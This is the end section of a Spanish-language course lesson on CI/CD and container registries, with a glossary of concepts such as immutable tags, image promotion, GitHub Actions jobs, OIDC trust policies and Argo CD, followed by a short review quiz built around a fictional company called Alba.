Lo que sigue

Esencial

What comes next

  • «Kubernetes» toma el digest que esta estación dejó en el repositorio de despliegue: cómo el clúster baja la imagen, cuándo da por lista una copia y por qué la de Triton tarda minutos en arrancar.
  • «Rollout seguro» decide cuánto tráfico recibe la versión nueva y cuándo se vuelve sola a la anterior, y mueve el alias champion del modelo al terminar.
  • «Monitoreo, drift y reentrenamiento» vigila lo que corre, con la model_version y el digest de cada respuesta para saber qué versión hizo qué.
13

Palabras que vas a oír

Esencial

Words you will hear

Estos son los conceptos que presentó esta lección. Cada uno tiene su tarjeta con la definición completa.

Registro de imágenescontainer registryEl almacén de donde las máquinas bajan las imágenes de contenedor. Se le sube una imagen (push) y se le pide (pull), por nombre (tag) o por digest, la huella de su contenido; guarda cada capa una sola vez dentro de cada repositorio.Más

Una imagen construida en CI se borraría con la máquina del job: el registro es el lugar fijo donde vive. No guarda la imagen como un solo archivo, sino sus capas, cada una con su huella, y una lista que dice qué capas forman cada imagen; al subir solo viajan las capas que no tiene. Un registro serio también decide quién entra (con IAM), escanea lo que llega, impide reusar nombres (tags inmutables) y borra lo viejo con una política de retención. Ejemplos: Amazon ECR, Artifact Registry de Google, GitHub Container Registry, Docker Hub. No es el registro de modelos, que guarda versiones del modelo.

Analogía. Una bodega con estantes numerados: cada caja (capa) se guarda una vez aunque la usen muchos pedidos (imágenes), y el pedido es la lista de cajas. Se rompe en que la bodega real no rechaza una etiqueta repetida; un registro con tags inmutables, sí.

Ejemplo. Alba usa ECR, el registro de AWS, en us-east-1; para servir tiene dos repositorios (la imagen de entrenamiento vive en otro): classifier-gateway (≈ 3 a 5 imágenes nuevas al día, de ≈ 87 MB) y classifier-triton (una al mes, de ≈ 9.2 GB). La dirección de una imagen es 123456789012.dkr.ecr.us-east-1.amazonaws.com/classifier-gateway:3f9c2ab.

Ver en el glosario →

Tag inmutabletag immutabilityUna opción de un repositorio del registro de imágenes: si un tag ya existe, rechaza cualquier subida (push) nueva con ese nombre. Así cada tag nombra un solo contenido para siempre.Más

Un tag es un letrero que apunta a un digest, y en casi todos los registros, por omisión, el letrero se puede mover: subir otra imagen con el mismo tag lo pisa. Con la inmutabilidad prendida, un segundo push con ese tag falla. Eso hace que el tag diga la verdad, pero no reemplaza desplegar por digest: el digest fija los bytes; el tag los nombra para una persona. Un re-run de CI que reconstruye un commit ya publicado falla en el push: es la regla funcionando.

Ejemplo. En ECR, que no la trae prendida, Alba la prende en classifier-gateway y classifier-triton. Si alguien reconstruye el commit 3f9c2ab, el push responde ImageTagAlreadyExistsException.

Ver en el glosario →

Promoción de una imagenimage promotion (build once, promote)Llevar la misma imagen, por su digest, de una etapa a la siguiente (de staging, el ambiente de prueba, a producción) sin reconstruirla. Lo que cambia entre etapas es la configuración, nunca la imagen.Más

Reconstruir «lo mismo» para producción casi nunca da los mismos bytes: cambian fechas dentro de la imagen y, a veces, un paquete de la base. Entonces lo que corre no es lo que se probó. La regla de CD es construir una vez, en CI, y promover el digest: el mismo sha256:… pasa la prueba de humo, la paridad, staging y producción. El rollback es la promoción al revés: volver a pedir el digest anterior, que sigue en el registro.

Ejemplo. El job imagen de Alba publica el digest de classifier-gateway:3f9c2ab; staging y produccion escriben ese mismo digest en el repositorio de despliegue, uno después del otro.

Ver en el glosario →

Política de retención de imágenesimage lifecycle policyLa regla de un repositorio del registro de imágenes que dice qué imágenes se borran solas: por ejemplo, las que no tienen tag, o todas menos las últimas N.Más

Sin retención, un repositorio que recibe imágenes todos los días crece sin fin. La regla no sabe qué imagen corre en producción, así que debe escribirse para que la que corre y la anterior siempre sobrevivan: contando imágenes (las últimas N) y no por antigüedad. «Borra lo de más de 30 días» borra la versión estable en un mes sin despliegues, y con ella el rollback. Es la misma idea que el ciclo de vida de un bucket, aplicada a imágenes.

Ejemplo. En Alba: las imágenes sin tag se borran al día; del gateway se guardan las últimas 200 (con 3 a 5 merges al día, ≈ 40 a 67 días); de Triton, las últimas 12, un año de modelos.

Ver en el glosario →

Workflow de GitHub ActionsworkflowUn archivo YAML en .github/workflows/ que le dice a GitHub Actions (el servicio de GitHub que corre tareas automáticas) qué hacer, cuándo y en qué máquina: qué eventos lo disparan y qué jobs corre.Más

El workflow vive junto al código: cambia en un PR, se revisa como el código y su historia queda en Git. Sus partes: on (qué lo dispara: un PR, un push a una rama, un botón con workflow_dispatch o un horario), permissions (qué puede hacer su token), env (variables) y jobs. Un repositorio puede tener varios workflows con ritmos distintos.

Ejemplo. Alba tiene dos: gateway.yml, que corre en cada PR y en cada push a main, y triton-modelo.yml, que solo corre por botón cuando hay un modelo nuevo.

Ver en el glosario →

Job, step y needsjob, step, needsUn job es un trabajo de un workflow que corre en su propia máquina limpia (runner), con sus pasos (steps) en orden. needs lo hace esperar a otros jobs; if decide si corre.Más

Sin needs, los jobs de un workflow corren a la vez, cada uno en su máquina. Con needs: [a, b], el job espera a que a y b terminen bien; si uno falla, el que depende de ellos no corre. if pone una condición, como github.event_name == 'push'. Un step es run (un comando) o uses (una acción ya hecha). Como cada job corre en otra máquina, lo único que pasa de uno a otro son sus salidas o los artefactos.

Ejemplo. En gateway.yml: lint y pruebas a la vez; imagen con needs: [lint, pruebas] e if de push; después paridad, staging y produccion, uno tras otro.

Ver en el glosario →

Salidas de un jobjob outputsTextos cortos que un job deja para los jobs que dependen de él. Un paso los escribe en el archivo $GITHUB_OUTPUT y el job los declara en outputs.Más

Cuando un job termina, su máquina se borra. Sus salidas son lo que sobrevive para los jobs que siguen: un paso escribe una línea nombre=valor en $GITHUB_OUTPUT, el job la expone en outputs, y los jobs con needs la leen como needs.<job>.outputs.<nombre>. Sirven para valores chicos, como un digest o un número de versión; para archivos están los artefactos.

Ejemplo. El paso push del job imagen de Alba escribe digest=sha256:…; paridad, staging y produccion usan needs.imagen.outputs.digest, nunca el tag.

Ver en el glosario →

Check obligatoriorequired status checkUna regla de la rama principal: un pull request (PR) no se puede juntar (merge) si cierto job no terminó en verde. Convierte el rojo de CI de consejo en regla.Más

Se configura en las reglas de la rama (branch protection o rulesets en GitHub) con el nombre del check. Tiene una trampa: si el workflow no corre en un PR (por ejemplo, porque filtra con paths: y el PR no toca esa carpeta), el check nunca reporta y el PR se queda esperando. Un job saltado con if sí cuenta como aprobado. Por eso la condición va en el if del job, no en el disparador del workflow.

Ejemplo. En alba/classifier, pruebas es obligatorio. Un PR que solo cambia config.pbtxt igual corre gateway.yml, porque el workflow no filtra por carpetas.

Ver en el glosario →

Environment de GitHubGitHub environmentUn ambiente con reglas en GitHub, como produccion: un job que lo usa espera a que una persona autorizada apruebe antes de correr.Más

Un job con environment: produccion no arranca hasta que se cumplan las reglas de ese ambiente: revisores obligatorios (con la opción de impedir que apruebe quien disparó la corrida), ramas permitidas o un tiempo de espera. La aprobación queda registrada con nombre y hora. En un repositorio privado, los revisores obligatorios solo existen en el plan Enterprise de GitHub. El ambiente también puede tener sus propios secretos y variables, y cambia el sub (el campo que dice de dónde viene el job) del token de OIDC, así que un rol de AWS puede exigir que solo un job aprobado lo asuma. Un job que espera aprobación falla solo a los 30 días.

Ejemplo. En Alba, el job produccion usa el environment produccion, que exige que apruebe una persona del equipo de ML (de 5) que no hizo el cambio.

Ver en el glosario →

Concurrency (un despliegue a la vez)concurrency groupUna opción de un job o workflow que agrupa corridas por nombre: dentro de un grupo, solo una corre a la vez. Con cancel-in-progress se decide si la nueva cancela a la vieja o espera.Más

Dos despliegues al mismo ambiente a la vez se pisan: copias de dos versiones mezcladas y un estado que nadie pidió. concurrency: { group: <nombre> } hace que las corridas del mismo grupo no se encimen: por omisión, una corre y una espera; si llega otra, la que esperaba se cancela (con queue: max esperan en orden, hasta 100). Con cancel-in-progress: true, la nueva cancela a la que va a la mitad, que sirve para las pruebas de un PR al que llegó otro push; para un despliegue se usa false, porque cortar un despliegue a medias es peor que esperar.

Ejemplo. El job produccion de Alba usa el grupo deploy-gateway-produccion con cancel-in-progress: false: si dos merges llegan seguidos, el segundo despliegue espera al primero.

Ver en el glosario →

Caché de Actions para capasGitHub Actions cache (type=gha)Un almacén de caché de GitHub que sobrevive entre corridas. Con cache-from y cache-to: type=gha, el build de Docker guarda ahí sus capas y las reusa aunque la máquina nazca vacía.Más

La caché de build vive en el disco de la máquina que construye, y un runner de GitHub nace vacío en cada job. cache-to: type=gha,mode=max sube las capas a la caché de Actions al terminar (con mode=max, también las de etapas intermedias, como la que instala paquetes), y cache-from: type=gha las baja en la siguiente corrida. GitHub da, por omisión, 10 GB por repositorio (más se paga aparte) y borra lo que no se usa en 7 días: sobra para imágenes chicas y se queda corto para una de varios GB.

Ejemplo. El job imagen del gateway de Alba usa type=gha: un cambio de código reconstruye solo la capa de ≈ 48 KB. La imagen de Triton (≈ 9.2 GB) casi llenaría ella sola esos 10 GB.

Ver en el glosario →

Runner propio efímeroephemeral self-hosted runnerUna máquina tuya registrada en GitHub para correr jobs, que toma uno solo y se borra al terminar. Los jobs la eligen por sus etiquetas, como gpu-t4.Más

Un runner propio sirve cuando el job necesita algo que los de GitHub no traen: una GPU, tu red privada o más disco. Si es persistente, cada job hereda lo que dejó el anterior, y si corre código de un PR, el de un PR malicioso también corre en tu máquina, con sus permisos. La versión efímera toma un job, lo corre y se desregistra; se prende solo para ese job. Regla de Alba: nunca corre un pull_request, solo trabajo de main o de un botón.

Ejemplo. El de Alba es una g4dn.xlarge con una T4, etiquetas [self-hosted, linux, x64, gpu-t4], a US$0.526 la hora. Con ≈ 120 jobs de ≈ 5 min al mes, son 10 h y ≈ US$5.3; prendida todo el mes serían ≈ US$384.

Ver en el glosario →

Trust policy de un rolIAM trust policyLa parte de un rol de AWS que dice quién puede asumirlo. Con OIDC (un estándar para probar identidad), el token de identidad que GitHub le da a cada job, revisa sus campos, sobre todo el sub: el que dice de qué repositorio, rama o environment viene el job.Más

Un rol de IAM tiene dos políticas: la de permisos (qué puede hacer) y la de confianza (quién entra). Para CI sin llaves, la de confianza acepta tokens de OIDC firmados por GitHub y pone condiciones: aud igual a sts.amazonaws.com y sub igual a un valor exacto. GitHub arma el sub con el repositorio y el contexto: repo:<org>/<repo>:ref:refs/heads/main para un push a main, …:pull_request para un PR y …:environment:<nombre> para un job con environment. Un comodín amplio, como repo:<org>/*, deja entrar a cualquier PR de la organización.

Ejemplo. El rol gha-classifier-gateway de Alba solo acepta repo:alba/classifier:ref:refs/heads/main. El job produccion usa otro rol, que pide repo:alba/classifier:environment:produccion.

Ver en el glosario →

Permisos del workflowworkflow permissionsEl bloque permissions de un workflow o de un job: qué puede hacer el token que GitHub le da. Se pide lo mínimo, como contents: read, y se agrega solo lo que un job necesita.Más

Cada job recibe un token de GitHub para tocar su repositorio. Sin permissions, sus permisos dependen de la configuración del repositorio o de la organización; escribirlos en el YAML los deja a la vista y en Git. contents: read deja leer el código. id-token: write no deja escribir nada en el repositorio: deja pedir un token de identidad de OIDC para entrar a una nube. Un job que declara permissions reemplaza los de arriba.

Ejemplo. gateway.yml de Alba pone contents: read para todos, y solo el job imagen agrega id-token: write para entrar a AWS y subir a ECR.

Ver en el glosario →

Argo CDArgo CDUn programa que corre dentro de un clúster de Kubernetes, lee un repositorio de Git y hace que el clúster se parezca a lo que dice. En GitOps (desplegar cambiando un repositorio de Git), es la parte que vive en el clúster.Más

Con GitOps, desplegar es cambiar un archivo en un repositorio de despliegue. Argo CD lo revisa, por omisión, cada 2 a 3 minutos, o al instante con un webhook, compara lo que dice con lo que corre y aplica la diferencia. Así el CI no necesita permiso para entrar al clúster: solo escribe en Git. Con la corrección automática prendida, también deshace los cambios hechos a mano. No promueve entre ambientes ni hace canary por sí solo. Es un proyecto de la CNCF (Cloud Native Computing Foundation, la fundación que también cuida Kubernetes); no confundir con Argo Workflows, un orquestador de pipelines del mismo grupo de proyectos.

Ejemplo. En Alba, Argo CD lee alba/despliegue; cuando la línea del gateway cambia a classifier-gateway:3f9c2ab@sha256:…, reemplaza las copias. El rollback es un git revert en ese repositorio.

Ver en el glosario →

Paridad de punta a puntaend-to-end parityMandar fotos de referencia en JPEG por el gateway real, con el Triton real, y comprobar que la primera categoría (top-1) de cada una y su score salen como los guardados. Revisa el camino completo de la foto, no solo el modelo.Más

Es la tercera paridad de Alba. Las otras dos, la paridad en CPU y la paridad del engine, reciben la foto ya preparada, así que no pueden ver el preprocesamiento del gateway ni el orden de labels.json. Esta sí: sigue el camino de la foto de Ana. Pasa si en cada foto el top-1 es el guardado y el score no se mueve más de ε. Atrapa, por ejemplo, un gateway que lee los colores en orden BGR. Es una prueba de paridad aplicada al sistema completo.

Ejemplo. En Alba: 20 fotos de referencia, en el runner con T4, después de cada merge; top-1 igual y scores a ≤ 0.01; el examen tarda ≈ 1 min, y con prender la máquina, ≈ 5.

Ver en el glosario →

GitHub AppGitHub AppUna identidad de máquina en GitHub, instalada solo en los repositorios que elijas y con permisos finos, que entrega tokens de una hora. Sirve para que un workflow escriba en otro repositorio.Más

El token normal de un workflow solo sirve para su propio repositorio. Para que un job abra un PR en otro (por ejemplo, el de despliegue), hace falta otra identidad. Una llave personal amarra la automatización a una persona y suele tener demasiados permisos; una GitHub App es de la organización, se instala solo donde hace falta, pide permisos concretos (abrir PR, nada más) y da tokens que vencen en una hora. Para pedirlos, el workflow usa la llave privada de la App, guardada como secreto: esa llave sí es larga, pero solo abre lo que la App puede hacer.

Ejemplo. Los jobs staging y produccion de Alba piden un token a la GitHub App instalada solo en alba/despliegue y con él cambian la línea image: del gateway.

Ver en el glosario →

14

Chequeo

Esencial

Check

Intenta responder en tu cabeza antes de abrir cada respuesta.

  1. 1¿Por qué la imagen del gateway se publica solo después del merge, y no desde el PR?Ver respuesta

    Porque en un PR GitHub prueba un merge de prueba que no existe en ninguna rama, y un PR puede venir de cualquiera. Después del merge, el commit es real y ya pasó por revisión.

  2. 2¿Qué hace un tag inmutable, y por qué no basta con desplegar por tag?Ver respuesta

    El registro rechaza otro contenido con un tag que ya existe. Aun así, Alba despliega por digest: el digest fija los bytes exactos y el tag solo los nombra para una persona.

  3. 3¿Cómo llega el digest del job imagen a los jobs de despliegue?Ver respuesta

    Como salida del job: el paso de push lo escribe en $GITHUB_OUTPUT, el job lo declara en outputs y los de abajo lo leen como needs.imagen.outputs.digest.

  4. 4¿Por qué la retención de Alba cuenta imágenes y no días?Ver respuesta

    Porque la regla no sabe qué corre en producción. Contando, la versión estable y la anterior siguen entre las últimas 200 aunque nadie despliegue en semanas.

  5. 5¿Qué ve la paridad de punta a punta que no ven las otras dos?Ver respuesta

    El preprocesamiento del gateway y el orden de labels.json, porque manda fotos JPEG por el gateway real; las otras reciben la foto ya preparada.

  6. 6¿Por qué triton-modelo corre por botón en el runner con T4 y no en cada PR?Ver respuesta

    Porque el modelo cambia una vez al mes, la imagen pesa 9.2 GB y probarla necesita la GPU. El runner propio solo corre trabajo de main o del botón, nunca código de un PR.

  7. 7(De la sección extra.) ¿Qué revisa AWS en el token de un job antes de darle credenciales?Ver respuesta

    La firma de GitHub y las condiciones de la trust policy del rol, sobre todo el sub: qué repositorio, qué rama o qué environment. Si coincide, entrega credenciales que vencen en una hora.

Repasar los 17 conceptos de esta lección con tarjetas Sigue · 55KubernetesEstaciones · Orquestación Practícalo con códigoEstación 8 del Dojo: CI/CD y registro de imágenesEl Dojo es la parte de TrueML donde construyes, rehaces y rompes cada pieza del sistema de Alba con Claude Code. ← 53 · Empaquetado con Docker